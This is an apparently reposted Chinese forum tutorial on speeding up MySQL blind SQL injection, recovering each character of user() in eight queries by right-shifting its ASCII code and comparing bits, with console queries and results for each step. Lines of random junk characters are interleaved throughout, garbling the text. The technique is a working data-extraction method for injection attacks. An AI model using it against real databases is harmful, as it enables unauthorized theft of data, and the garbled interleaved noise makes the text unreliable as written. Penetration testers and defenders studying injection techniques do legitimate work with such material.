关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

& E; y: F' H. p* Q

下面将以查询mysql数据库当中user()的第一位为例:
2 O1 c6 h& @5 @5 P; S$ L* y


ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
; _+ S( v  M/ |' R4 _* A

% |9 k3 x* ~5 x
首先执行如下sql语句:


- ~+ g, J  Q, ?8 `$ E; G) N% l
0 ^8 O3 D' c: |8 C2 _0 ^" Fmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
) s, j; X8 `& W  a$ B5 p, M1 ?
& ]9 }$ b/ b/ m; V; @" u
0 ]. l- z# V+ z8 g6 ?2 m
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

6 p& x4 e- X0 j

* |5 B3 L& v! M# c3 m: B第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1



如果运算结果为1,说明第一位为0,不为1



+————————————–+
( a1 u8 r1 E, {, z% Y% v: c
| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+
/ w! Z5 M, W9 h# \3 {' w
| 1 |
! f( @2 f3 W! }  k  l0 m! m
, l" g7 U! w% c; R( e) x+————————————–+
! G! k5 J) G- |; X
: H# v# {, y* @3 B1 row in set (0.00 sec)
# \1 g" @% x- h7 \( _
( a6 X" T! H2 T) |$ o" _3 A; J2 [这样我们就确定这个8bit的ascii的第一位为0
) h$ P6 O9 f2 n# W- [; o9 L4 B+ t

, Y* d3 e: P" b# y
& Y: g+ Z" \* u+ v$ q0 Z/ g第二次我们来做6次右偏移来确定前两位

0 W8 `" o" C$ i' V

% T7 D+ t" _5 j2 l+ Y; S& h前两位可能是01或00,即依然可以与0做比较,
, x2 t, C1 i5 k8 ?
. G: W4 G% j, Y5 Bmysql> select (ascii((substr(user(),1,1))) >> 6)=0;

5 C/ y# i; U, l- c5 g+————————————–+
. a9 m' R% |. Y* d+ ]1 b, c& ^: Y, G
| (ascii((substr(user(),1,1))) >> 6)=0 |
7 a, ^9 Y  r) u$ R  E7 m
+————————————–+

3 n: ?- W2 B) V. \1 E4 E" ^| 0 |

+————————————–+
& Y# W7 W4 W3 B2 T1 ~, L
$ v% b0 s( z) U( h7 o. v! Q( y* C1 row in set (0.00 sec)



结果为0,即第二位为1
  f  W; A) j+ j' X8 x! s
) [& G* l( B9 L, v# o  f
  d  x: a( _; n$ J) x  X- `
开始猜测前三位为010或011



让我们看看010和011的ascii码是多少
, }6 i% V  v: d) _
+ {: f2 ^) y- I5 m9 R6 @

+ P" l- Y4 V" {分别查询select b’011′ select b’010′



获得结果 010 = 2 011 = 3

) l% Q  w$ d9 M+ g$ t& o
9 @( t# D/ |8 Z9 v0 d4 n
执行如下sql:


: g+ Q! ]2 G/ b! M
& d" \5 r5 P3 |2 Smysql> select (ascii((substr(user(),1,1))) >> 5)=2;
/ {+ }( s+ p8 P8 B1 A3 }0 E
+————————————–+

0 A) k, e; |6 F  || (ascii((substr(user(),1,1))) >> 5)=2 |
' R2 S' S; o" |- m0 s4 Z
5 s' P2 D2 p% C" ~+————————————–+

| 0 |

/ }- w  o/ n* j6 K3 w! A+————————————–+
+ x6 j0 i' w" S$ B/ C' b
1 s$ b  j8 M) P8 u6 w* G3 [6 g! G即前三位不为010,而是011
1 R0 q0 Z% s& `( ?  _: y  o6 g

" e3 F- v, Y* @4 ]) t9 a8 x0 d
& ^2 J, d/ _9 O" y1 w; y4 {2 `直到获得最后一位



最终结果为:01110010



+ c9 i- q0 d4 d* d4 r2 M转换一下:
; E. ]) E, b* J* W: a

) e2 m1 z  r. b# [
- f; C$ l' Y2 E! a) w8 o& G6 {select b’01110010′


2 v' y. W( S1 a7 N
查询结果



+————-+

| b’01110010′ |
3 Y. a" d8 s9 t5 o$ P
6 J  @  Y4 x( B6 ]" z. E. T& S+————-+
" _3 Z8 F; I8 ~9 @% B. k& L
7 P0 [, i, G' s$ p% o, p| r |

+————-+
: d7 f0 K5 A4 I# o" \4 S4 Q9 Q
1 row in set (0.00 sec)

8 r+ F+ s; N' N$ V9 n7 v
& m" `) ?( p" P; \
, y4 M4 u7 I/ Z" t+ \% O3 g这样我们就获得了user()的第一位.其它位依此类推